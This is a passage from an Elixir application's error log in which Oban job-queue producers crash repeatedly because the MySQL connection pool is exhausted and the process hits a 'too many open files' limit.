    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:00:54.240659Z], limit: 10, uuid: "e222c73b-a5fa-43bc-a2d0-1e5c59e60a63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.240664Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257752>, refresh_timer: #Reference<0.2525715032.1099169794.257730>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:00:54.240692Z], limit: 50, uuid: "9068cbb0-4fb8-452f-a064-b3c9bfcb9844", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.240697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257756>, refresh_timer: #Reference<0.2525715032.1068236804.248543>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:06.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:00:54.240512Z], limit: 3, uuid: "20799c09-c2b0-4274-9854-0a9798a74538", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.240517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257757>, refresh_timer: #Reference<0.2525715032.1068236804.248538>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:06.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:00:54.238573Z], limit: 5, uuid: "486c96b7-8dc4-4920-a3b1-91b477903ca1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.238580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257753>, refresh_timer: #Reference<0.2525715032.1099169794.257684>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:00:54.240821Z], limit: 5, uuid: "06e3ee42-c27a-419a-9145-7ff4c4db87bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:54.240826Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.257754>, refresh_timer: #Reference<0.2525715032.1099169794.257738>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:09.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:10.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:10.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:11.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:12.062000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:12.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:14.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:01:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:01:06.242458Z], limit: 3, uuid: "29404204-1c11-4d82-8659-1c696a3145b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.242464Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258022>, refresh_timer: #Reference<0.2525715032.1121189889.103091>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:01:06.238776Z], limit: 10, uuid: "ea912fc5-34a0-4cc7-b22d-33f90b04f512", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.238781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258017>, refresh_timer: #Reference<0.2525715032.1099169794.257974>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:01:06.241955Z], limit: 5, uuid: "04e389fb-15ef-4fc5-89c9-6b782ac5d3fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.241961Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258021>, refresh_timer: #Reference<0.2525715032.1121189889.103084>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:01:06.244215Z], limit: 5, uuid: "886b7ba7-b541-4ada-8338-72c597054d4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:01:06.244220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.258019>, refresh_timer: #Reference<0.2525715032.1077411843.231598>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:01:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

